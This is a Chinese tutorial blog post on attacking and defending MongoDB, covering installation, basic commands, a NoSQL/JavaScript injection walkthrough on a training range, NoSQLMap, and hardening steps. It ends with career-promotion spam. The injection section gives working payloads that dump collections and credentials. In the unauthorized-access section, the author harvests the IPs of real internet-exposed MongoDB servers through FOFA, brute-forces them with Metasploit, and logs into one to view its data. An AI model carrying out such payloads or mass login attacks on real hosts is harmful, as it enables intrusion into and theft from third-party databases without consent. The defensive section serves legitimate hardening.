数据库攻防之MongoDB

news2024/11/17 17:51:53

MongoDB是一个安全性相对较高的非关系型数据库,它的安全问题主要出现在使用、配置过程当中。目前随着MongoDB的流行,它也成为了红队攻防领域不可忽视的数据库。

0x01 MongoDB简介

MongoDB 是一个由C++编写、基于分布式文件存储的开源数据库系统,旨在为 web 应用提供可扩展的高性能数据存储解决方案。它将数据存储为一个文档,数据结构由键值对组成,文档类似于 JSON 对象。字段值可以包含其他文档、数组以及文档数组。

{
    name: "mac",
    age: "20",
    job: "pentestor",
    habits: ["music", "pentest"]
}

MongoDB是一个面向文档存储的数据库,默认端口是27017。与此同时它作为最像关系型数据库的非关系型数据库,操作起来也相对比较简单,以下为 MongoDB 的特点及优点:

1、MongoDB可在本地或网络中创建数据镜像,这使得它拥有更强的扩展性。
2、MongoDB支持丰富的查询表达式,查询指令使用JSON形式的标记,可轻易查询文档中内嵌的对象及数组。
3、MongoDB支持各种编程语言,包括Ruby、Python、Java、PHP、C#等。
4、MongoDB使用Map/Reduce来对数据进行批量处理和聚合操作,Map函数调用emit(kr,value)遍历集合中的所有记录,将key、value传递给Reduce进行处理。
5、MongoDB安装、操作非常简单。

 

由于NoSQL数据库适用于超大规模数据的存储,因此使用NoSQL数据库的场景也越来越多,例如我们熟知的Google、Facebook等全球大型互联网公司都在使用它来处理数以万计的数据信息。而MongoDB作为NoSQL数据库,它的的安全性主要由组成生态系统的各个部分共同负责。虽然MongoDB中具有一些内置的安全功能,但是由于在使用过程中会出现配置错误、更新不及时等问题,从而有可能导致漏洞的产生。

0x02 MongoDB安装

MongoDB安装配置

Windows下安装

下载地址:https://www.mongodb.com/download-center/community
目前市场上 MongoDB 的主流版本是3.4和3.6,但我们在本地以4.x为例进行安装。在官网中提供了可用于32位和64位系统的预编译二进制包,需要注意的是MongoDB2.2之后的版本已经不再支持Windows XP系统了。

截屏2021-11-02 下午3.18.35

MongoDB为Windows提供了两种安装方式,分别是msi和zip方式。前者方便快捷,但只推荐4.0版本以上使用该方式进行安装,这主要是因为4.x版本对msi安装方式进行了优化,而3.x和更低的版本都需要在安装完毕后手动进行配置。后者解压即安装,相对来说比较灵活,可以将其安装至任意目录。以下则是不同WIndows系统版本适合的MongoDB版本信息:

1. MongoDB for Windows 64-bit 适合 64位 Windows Server 2008 R2, Windows 7 ,以及最新版本的Windows系统
2. MongoDB for Windows 32-bit 适合 32位 的Window 系统及最新的Windows Vista,32位系统的的MongoDB最大数据库位2GB
3. MongoDB for Windows 64-bit Legacy 适合 64位 的 Windows Vista, Windows Server 2003, ݊ Windows Server 2008

双击运行即可使用 msi 方式安装 MongoDB
 

截屏2021-11-07 下午5.12.49


通过Custom自定义安装目录
 

截屏2021-11-07 下午5.14.01


 

截屏2021-11-07 下午5.13.52


选择不安装compass(MongoDB图形化管理工具),如果安装的话会需要花费较多的时间
 

截屏2021-11-07 下午5.14.08


安装完成

截屏2021-11-07 下午5.15.26

MongoDB的bin目录中存在两个应用,分别是mongo.exemongod.exe,分别是MongoDB的客户端软件以及服务端软件。

截屏2021-11-07 下午5.16.06

与此同时将 MongoDB 的bin目录添加至环境变量中

截屏2021-11-07 下午5.18.21

编写配置文件mongod.cfg(MongDB 3.x中不包含该文件,需要自己创建目录来制作服务),以便于后续以配置文件的方式启动 MongoDB 服务

systemLog:
    destination: file //设置日志存储文件
    path: C:\mongodb\log\mongodb.log  //设置日志存储位置
    logAppend: true //设置日志是否以追加形式记录

storage:
    journal: 
        enabled: true //设置是否回滚日志
    dbPath: C:\mongodb\data //设置数据存储目录

net:
    port: 27017 //绑定端口
    bindIp: 127.0.0.1 //绑定IP,如果需要远程登录需要配置本地IP

截屏2021-11-07 下午6.01.44

为了能在终端中可以通过net命令来管理MongoDB,我们可以将 MongoDB 服务添加至服务中去,当然前提是我们要以管理员身份执行终端。

mongod --config "c:\Program Files\MongDB\Server\4.0\bin\mongod.cfg" --install

如果出现以下错误,解决方法是重新编写配置文件并在其中使用空格代替tab

截屏2021-11-07 下午5.59.47

完成后 Windows 便有了 MongoDB 服务,我们可以在服务中来管理 MongoDB,包括开机启动、设置启动方式等。
 

截屏2021-11-07 下午6.05.17


我们以管理员身份打开终端启动 MongoDB

net start mongodb //启动MongoDB
net stop mongodb //停止MongoDB

如果需要移除 MongDB 服务可以使用以下命令

C:\mongodb\bin\mongod.exe --remove

运行命令可直接进入 MongoDB 数据库当中

mongo

默认连接到test数据库,饿哦吗能够在其中完成一些简单的算术运算

mongo
> db
> 1+1

尝试插入数据并查看已插入的数据

> db.data.insert({"user":"mac"})
> db.data.find()

截屏2021-11-07 下午6.08.27

Linux下安装

在 Linux 中安装 MongoDB 与 Windows 类似,首先导入 MongDB 的公共GPG密钥

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -

如果出现 gnupg 未安装的错误,可安装 gnupg 解决

apt-get install gnupg

完成后再次导入密钥并为 MongoDB 创建文件

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list

截屏2021-11-07 下午3.03.30

通过 apt 命令更新本地软件数据包

sudo apt-get update

准备工作完成后我们开始安装MongoDB

apt-get install -y mongodb-org //安装最新稳定版
apt-get install -y mongodb-org=4.4 mongodb-org-server=4.4 mongodb-org-shell=4.4 mongodb-org-mongos=4.4 mongodb-org-tools=4.4 //安装指定版

截屏2021-11-07 下午3.02.46

需要注意的是如果仅指定mongodb-org=4.4,那么无论指定哪个版本都会安装每个 MongoDB 包中的最新版本。可使用以下命令查看可选版本

echo "mongodb-org hold" | sudo dpkg --set-selections 
echo "mongodb-org-server hold" | sudo dpkg --set-selections 
echo "mongodb-org-shell hold" | sudo dpkg --set-selections 
echo "mongodb-org-mongos hold" | sudo dpkg --set-selections
echo "mongodb-org-tools hold" | sudo dpkg --set-selections

大多数类 Unix 系统都提供了基于每个进程和每个用户来限制和控制系统资源(例如线程,文件和网络连接)使用的方法。虽然这些限制可防止单个用户使用过多的系统资源,但有时这些限制的默认值较低,可能会在MongoDB正常运行时产生许多问题,因此我们可根据需要进行调整。

启动MongoDB

sudo systemctl start mongod

如果在启动时出现以下错误

Failed to start Mongod.service:Unit mongod.service not found

可以使用以下命令解决并在完成后重新启动

sudo systemctl daemon-reload

查看 MongoDB 是否已启动

sudo systemctl status

截屏2021-11-07 下午3.05.33

为 MongoDB 配置开机启动

sudo systemctl enable mongod

使用以下命令可停止或重启MongoDB

sudo systemctl stop mongod
sudo systemctl restart mongod

当然在/var/log/mongodb/mongod.log中存放着MongoDB的日志,如果需要删除可使用以下命令删除整个数据库日志目录

sudo rm -r /var/log/mongodb

MongoDB连接

Windows下连接

下载地址:https://www.mongodb.com/download-center/compass
我们可安装数据库图形化管理工具compass来方便地管理 MongoDB,点击新建连接即可连接数据库
 

截屏2021-11-07 下午6.37.48


如果 MongoDB 服务未开启,可使用以下方法开启 MongoDB 服务

mongod -dbpath c:\mongdb\data\db

查看数据库所拥有的角色

> use admin
> show roles

截屏2021-11-07 下午6.46.57

新建连接用户并授权

> db.createUser({user:"mac",pwd:"123456",roles:[{"role":"dbAdmin","db":"admin"},{ "role":"backup","db":"admin"}]})
> db.auth("mac","123456")

截屏2021-11-07 下午9.59.09

成功在本地登录 MongoDB

mongo -u mac -p 123456 localhost:27017/admin

截屏2021-11-07 下午6.57.03


除了使用本地登录外,更多情况下我会选择使用 navicat 来远程登录,前提是我们需要在配置文件mongod.cfg中将bindIp设置为0.0.0.0,设置完成后需重启服务

截屏2021-11-07 下午6.59.16

Navicat 远程连接成功

截屏2021-11-07 下午6.59.32

账号管理扩展命令:

> db.updateUser("root",{roles:[{role:"readWriteAnyDatabase",db:"admin"}]}) //修改用户权限
> db.changeUserPassword("username","新密码") //修改用户密码
> db.dropUser('test') //删除用户

参考文章:

https://www.jianshu.com/p/f5afc6488f9e
MongDB命令参考:

https://www.runoob.com/mongodb/mongodb-databases-documents-collections.html

Linux下连接

MongoDB配置文件默认设置 bindIp 为127.0.0.1,因此默认情况下 MongoDB 只能接受本地连接。如果需要远程连接,我们可以在 MongoDB 配置文件/etc/mongdb.conf下设置bindIp 为0.0.0.0,需要注意的是 MongoDB 2.x 与 3.x 配置文件格式有点不同,以下为3.x版本

sudo gedit /etc/mongod.conf
sudo systemctl restart mongod
# 连接配置
bindIP:0.0.0.0

截屏2021-11-07 下午3.34.18

使用 Navicat 远程连接成功

截屏2021-11-07 下午4.26.06

0x03 MongoDB基础用法

MongoDB 可以拥有多个数据库,每个数据库包含一个或多个集合(collections),每个集合包含一个或多个文档(documents),通过命令mongo可进入数据库当中

基础操作

创建数据库
如果数据库存在则直接进入数据库,否则会创建新的数据库

use macdb

查看当前数据库

> db

检查数据库列表

> show dbs

截屏2021-11-07 下午3.35.40

数据插入
插入一些数据

> db.data.insert({"user":"mac"})
> db.data.insert({"user":"mac","age":13})
> db.data.insert({"user":"tom","age":20})

截屏2021-11-07 下午3.39.04

数据查询
查询全部数据

> db.data.find()

查询特定数据

> db.data.find({"age":13})

截屏2021-11-07 下午3.42.06

数据删除
使用 remove 方法可按特定条件从集合中删除文档

> db.data.remove({"age":13})
> db.data.find()

截屏2021-11-07 下午3.52.55

如果需要删除集合可以通过以下方式

show collections
db.data.drop()
show collections

截屏2021-11-07 下午3.51.54


删除数据库

db.dropDatabase()

截屏2021-11-07 下午3.56.33

扩展:自搭渗透环境

熟悉了 MongoDB 的基础操作后,我们可搭建一个实验环境来测试 MongoDB 数据库,使用 kali 来模拟生产机器并安装 MongDB 、php以及web应用程序,假设web环境已经搭建好,那么尝试配置数据库

创建数据库
> use mac
> db
插入数据

将测试数据插入集合usersproducts当中

> db.users.insert({"username":"tom","password":"tom"})
> db.users.insert({"username":"jim","password":"jim"})
> db.users.insert({"username":"bob","password":"bob"})
> db.products.insert({"email":"tom@gmail.com","price":"1500USD"}
  )
> db.products.insert({"email":"jim@gmail.com","price":"50USD"})
> db.products.insert({"email":"bob@gmail.com","price":"4500USD"})
安装MongoDB驱动

PHP web应用程序使用 MongoDB 的前提需安装对应的驱动,否则无法调用

sudo apt-get install php-pear
sudo pecl install mongo
sudo apt-get install php-mongodb

0x04 MongoDB渗透

SQL注入

这里以墨者靶场为例,源码如下:

1

靶场漏洞地址如下:

http://219.153.49.228:45718/new_list.php?id=1

截屏2021-11-08 上午12.01.13

常规情况下通过单引号判断注入,返回不同页面说明存在注入点

/new_list.php?id=1'

截屏2021-11-08 上午12.05.48

构造 payload 测试回显内容

/new_list.php?id=1'});return ({title:1,content:'2

截屏2021-11-08 上午12.27.49

成功爆出数据库名为mozhe_cms_Authority

/new_list.php?id=1'});return ({title:tojson(db),content:'1

截屏2021-11-08 上午1.59.28

成功爆出集合名,分别为noticeAuthority_confidentialsystem.indexes

new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'1

截屏2021-11-08 上午2.01.01

针对集合Authority_confidential爆出对应文档

new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

截屏2021-11-08 上午2.10.37

截屏2021-11-08 上午2.10.48

成功拿到用户名为mozhe,两个密码经过md5解密后如下:

0eae21a0d4eb17267a0981af5f8f0397: 179303
a83cd5ad5ed3e1c5597441aaab289f5c: dsansda

使用mozhe/dsansda可登录应用

截屏2021-11-08 上午2.28.59

成功拿到flag:mozhe0500ad3c303c29201bbe1dbef89

截屏2021-11-08 上午2.29.36

未授权登录

通过 fofa 可导出 mongodb 数据库的IP地址,搜索语句如下:

"mongodb" && protocol="mongodb"

截屏2021-11-08 上午2.33.56

使用 fofaAPI 可导出 MongoDB 数据库的IP地址,配置如下

{'rule':'"mongodb" && protocol="mongodb"','page':'','size':'100','fields':'host','is_full':''}

截屏2021-11-08 上午2.37.13


使用 MSF 对拿到的 MongDB 数据库进行爆破

msfconsole
msf > use auxiliary/scanner/mongodb/mongodb_login
msf > set rhosts 'file:/root/Desktop/ouput.txt'
msf > run

截屏2021-11-08 上午2.45.07

随意选择爆破成功的IP,登录数据库课成功查看目标数据库信息

截屏2021-11-08 上午2.51.13

自动化评估

可以通过自动化方法来查找之前所提到的所有漏洞,存在一个工具NoSQLMap
工具地址:https://github.com/codingo/NoSQLMap

NoSQLMap介绍

NoSQLMap是一个开源的Python工具,主要用于审计和自动化注入攻击(包括版本小于2.2.4 getshell),并利用NoSQL数据库中的缺省配置弱点以及使用NoSQL的web应用程序来泄漏数据库中的数据。目前这个工具主要集中在MongoDB上,但是在未来版本中基于其他NoSQL数据库的平台,比如CouchDB、Redis、Cassandra等提供支持。

NoSQLMap特性

自动化对MongoDB、CouchDB数据库枚举和克隆攻击

通过基于MongoDB的web应用程序来提取数据库信息

使用默认访问和枚举版本扫描MongDB、CouchDB数据库的网段

使用强字典爆破MongDB、CouchDB数据库的哈希

针对MongoCLient的PHP应用程序参数注入返回所有数据库记录

JavaScript函数变量转移和任意代码注入来返回所有的数据库记录

基于计时类的攻击类似于SQL盲注来验证没有回显信息的JavaScript注入漏洞

NoSQLMap安装使用

主要通过setup.py来安装NoSQLMap

python2 setup.py install

截屏2021-11-08 上午3.06.14

也可以使用 docker 来进行安装

cd docker
docker build -t nosqlmap .

或者在 docker-compose 中使用

docker-compose build
docker-compose run nosqlmap

进入 nosqlmap

Nosqlmap

截屏2021-11-08 上午3.07.17

首先需要选择1进行选项配置

截屏2021-11-08 上午3.08.14

通过翻译可以了解这些配置

1.设置目标 host/host/IP 目标 Web 服务器 如:(www.google.com) 或者任何你想要攻击的 MongoDB 服务器。
2.设置 Web 应用 port-TCP 如果一个 Web 应用成为目标,为 Web 应用设置 TCP 端口。
3.设置 URI 路径,部分 URI 包含页面名称及任何非主机名称的参数 如:(/app/acct.php?acctid=102)。
4.设置 HTTP 请求方法 (GET/POST) 设置请求方法为 GET 或 POST ;现在只能使用 GET 方法但是后续会增加 POST 方法。
5.设置我的本地 Mongo/Shell IP-Set 如果直接攻击一个 MongoDB 实例,设置这个选项到目标 Mongo 安装的IP来复制受害者服务器或打开 Meterpreter Shell。
6.设置 Shell 监听端口,如果开放 Meterpreter Shell 就会指定端口。
7.加载选项 file-Load 加载之前保存的 1-6 中的设置。
8.加载选项 从 Burp 保存的 (request-Parse) 请求中加载 Burp Suite 的请求,并填充 Web 应用选项。、
9.保存选项设置 file-Save 保存 1-6 中的设置以便未来使用。
x.返回主菜单 meun-Use 使用这个选项开始攻击。

将配置设置完成后尝试利用

截屏2021-11-08 上午3.10.17

0x05 MongoDB安全防护

漏洞危害

对外开放的MongoDB服务如果存在未授权访问,那么攻击者可以随意多数据库进行增删改查操作,存在严重的数据泄漏风险。

漏洞成因

MongoDB服务安装后,默认不会开启权限验证,如果监听设置为0.0.0.0,那么即可远程登录数据库,以下为主要的版本区别:

3.0之前版本的MongoDB,默认监听0.0.0.0。但之后的版本默认监听127.0.0.1。
3.0之前版本的MongoDB如果未添加管理员账号和数据库账号,当--auth启动时,在本地可直接登录数据库,但是远程登录则需要认证信息
3.0之后的版本,使用--auth参数,无账号则本地和远程均无法访问数据库

漏洞验证

当存在未授权访问漏洞时,使用mongodb数据库连接工具进行连接,通过命令登录数据库即可查看数据

mongo
> show db
> use admin
> show users

除了navicat还可以通过robo进行连接
下载地址如下:https://robomongo.org/download

建议使用1.2低版本,否则对低版本的存在漏洞数据库无法认证

整改建议

1、在MongDB本地配置文件中限制IP登录

bindIp:127.0.0.1

2、在防火墙上设置访问源,以下为linux下的参考方法

iptables -A INPUT -s <ip-address> -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT //进站规则
iptables -A OUTPUT -d <ip-address> -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT //出站规则

如果服务器为windows,那么可以设置服务和命令开启防火墙配置

3、基于角色的登录认证功能

> use admin
> db.createUser(
    {
      user: "myUserAdmin",
      pwd: "Passw0rd",
      roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
    }
)

在3.0之前的版本需要通过addUser来创建方法,在cfg文件进行开启认证

security:
    authorization: enabled

启动MongDB

mongod --config /etc/mongod.conf

之后通过密码连接本地数据库

mongo --port 27017 -u "myUserAdmin" -p "Passw0rd" --authenticationDatabase "admin"

在MongDB中也可以通过auth()函数来认证身份信息

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1858931.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java运维交接项目逆向工程

​ 背景 有承接过Java项目运维的团队估计都处理过的一件事情&#xff0c;就是同步生产代码跟本地代码&#xff0c;条件再差些甚至要直接基于生产部署包逆向本地源码工程。而哪怕是原运维团队交接了源码&#xff0c;往往也会历史久远的原因&#xff0c;给了一份不太可靠的源码…

Navicat连接服务器MySQL

Navicat连接服务器MySQL 1. Navicat连接服务器MySQL2. 如何查看MySQL用户名和密码3. 修改MySQL登录密码4. 安装MySQL(Centos7)遇到错误和问题1. error 1045 (28000): access denied for user rootlocalhost (using password:yes) 1. Navicat连接服务器MySQL 选择数据库 直接使用…

记录react实现选择框一二级联动出现的问题

需求&#xff1a;用户在选择第一个选择框的选项后&#xff0c;第二个选择框的选项会根据第一个选择框的选择动态更新。如图所示 出现的问题 一级分类选择之后二级分类没有数据&#xff0c;第二次重新选择一级分类的时候&#xff0c;二级分类就会有值。 第一次点击截图&#x…

提升办公效率的利器—OnlyOffice文档8.1深度体验

目录 1. 前言 2. 安装 3. 基本使用 3.1 文档编辑 3.2 表格处理 3.3 演示文稿 4. 个人评价 5. 总结 1. 前言 在当今信息化时代&#xff0c;办公软件已经成为我们日常工作中不可或缺的工具。无论是撰写文档、处理数据&#xff0c;还是制作演示文稿&#xff0c;办公软件的…

数电大作业-四输入表决器

&#xff08;PCB和multisim仿真画的有很大问题&#xff0c;没有VCC输入和GND&#xff0c;没学过直接裸画的&#xff0c;之后会好好看视频学习&#xff09; 应用背景&#xff1a; 四个评委&#xff0c;三个及以上评委同时按下通过按钮时&#xff0c;选手才能通过。否则不通过。…

【Flink metric(3)】chunjun是如何实现脏数据管理的

文章目录 一. 基础逻辑二. DirtyManager1. 初始化2. 收集脏数据并check3. 关闭资源 三. DirtyDataCollector1. 初始化2. 收集脏数据并check3. run&#xff1a;消费脏数据4. 释放资源 四. LogDirtyDataCollector 一. 基础逻辑 脏数据管理模块的基本逻辑是&#xff1a; 当数据消…

适用于轨道交通专用的板卡式网管型工业以太网交换机

是网管型 CompactPCI板卡式冗余环网交换机。前面板带有6个 10/100/1000Base-T(X)M12接口。后面的CPCI接口有 8个10/100/1000Base-T (X) 以太网接口。 是特别为轨道交通行业EN50155标准要求而设计的坚固型交换机。它同时具有以下特性&#xff1a; ● 支持2线以太网距离扩展端口&…

Crypto++ 入门

一、简介 Crypto&#xff08;也称为CryptoPP、libcrypto或cryptlib&#xff09;是一个免费的开源C库&#xff0c;提供了多种加密方案。它由Wei Dai开发和维护&#xff0c;广泛应用于需要强大加密安全的各种应用程序中。该库提供了广泛的加密算法和协议的实现&#xff0c;包括&…

【通用技巧】自动获取日志存放路径,无需手动修改配置文件

我们在部署环境的时候&#xff0c;常常会手动修改一些配置文件的存放地址&#xff0c;比如日志的路径、截图的路径&#xff0c;这是因为我们的环境不一样&#xff0c;部署应用的位置也不一样导致的。如果位置写死了&#xff0c;那么就会造成通用性很差&#xff0c;所以我们经常…

明明设置允许跨域,为什么还会出现跨域请求的问题

一、问题 在微服务项目中&#xff0c;明明已经设置允许跨域访问&#xff1a; 为什么还会出现跨域请求问题&#xff1f; 二、为什么 仔细查看错误提示信息&#xff1a;When allowCredentials is true, allowedOrigins cannot contain the special value "*" since t…

NestJs连接数据库

文章目录 一、下载 MySql 数据库二、下载VsCode插件查询、插入数据 一、下载 MySql 数据库 NestJS连接数据库我选择的是MySql&#xff0c;首先先安装nestjs/typeorm 、typeorm、 mysql2 执行命令&#xff1a; pnpm install nestjs/typeorm typeorm mysql2 -S 连接数据库需要你…

C语言小例程28/100

题目&#xff1a;利用递归方法求5!。 程序分析&#xff1a;递归公式&#xff1a;fnfn_1*4! #include <stdio.h>int main() {int i;int fact(int);for(i0;i<6;i){printf("%d!%d\n",i,fact(i));} } int fact(int j) {int sum;if(j0){sum1;} else {sumj*fac…

震惊!这样制作宣传册,效果竟然如此惊人!

在当今社会&#xff0c;宣传册作为一种重要的宣传手段&#xff0c;其制作质量直接影响到宣传效果。而令人震惊的是&#xff0c;现在有些制作宣传册的方法&#xff0c;其效果竟然如此惊人&#xff01;今天&#xff0c;教大家如何制作宣传册吧&#xff01; 首先&#xff0c;我们要…

南京邮电大学计算机网络实验二(网络路由器配置RIP协议)

文章目录 一、 实验目的和要求二、 实验环境(实验设备)三、 实验步骤四、实验小结&#xff08;包括问题和解决方法、心得体会、意见与建议等&#xff09;五、报告资源 一、 实验目的和要求 掌握思科路由器的运行过程&#xff0c;掌握思科路由器的硬件连线与接口&#xff0c;掌…

【研究】国内外大模型公司进展

2022年11月&#xff0c;OpenAI推出基于GPT-3.5的ChatGPT后&#xff0c;引发全球AI大模型技术开发与投资热潮。AI大模型性能持续快速提升。以衡量LLM的常用评测标准MMLU为例&#xff0c;2021年底全球最先进大模型的MMLU 5-shot得分刚达到60%&#xff0c;2022年底超过70%&#xf…

稀奇古怪的解压视频都哪里找的?6个古怪稀奇解压素材网站分享

在这个信息泛滥的时代&#xff0c;解压视频已经成为我们日常生活中的调味剂。特别是那些奇特而有趣的视频&#xff0c;它们能够立刻抓住我们的眼球&#xff0c;带来独一无二的视觉享受和心理上的放松。但你可能会好奇&#xff0c;这些引人注目的解压视频都可以在哪里找到呢&…

华为eNSP模拟器下载地址

一、依赖程序 VirtualBox&#xff1a;https://cloud.rsecc.cn/softlink/VirtualBox-5.2.26-128414-Win.exe WinPcap&#xff1a;https://cloud.rsecc.cn/softlink/WinPcap_4_1_3.exe Wireshark&#xff1a;https://cloud.rsecc.cn/softlink/Wireshark-win64-3.0.6.exe 需要…

代码随想录-Day38

509. 斐波那契数 斐波那契数 &#xff08;通常用 F(n) 表示&#xff09;形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始&#xff0c;后面的每一项数字都是前面两项数字的和。也就是&#xff1a; F(0) 0&#xff0c;F(1) 1 F(n) F(n - 1) F(n - 2)&#xff0c;其中 …

【Android】我的手机在...自己下载...那个(浅析Intent基础运用)

【Android】我的手机在…自己下载…那个&#xff08;浅析Intent基础运用&#xff09; 在Android开发中&#xff0c;Intent&#xff08;意图&#xff09;是一个非常重要的概念。它不仅仅是用于在应用程序的各个组件之间进行通信的工具&#xff0c;也是启动新的Activity、Servic…

FydeOS导入VMware虚拟机之后,如何扩展系统硬盘大小?

前言​ 最近查询FydeOS系统的小伙伴不在少数啊&#xff01;可见这个系统是相当nice的&#xff0c;小伙伴们都是尝试尝试。 看到有不少小伙伴通过VMware虚拟机使用FydeOS&#xff0c;那么你就肯定知道官方包导入VMware之后&#xff0c;硬盘只显示分区了20GB。 如果这时候使用Fy…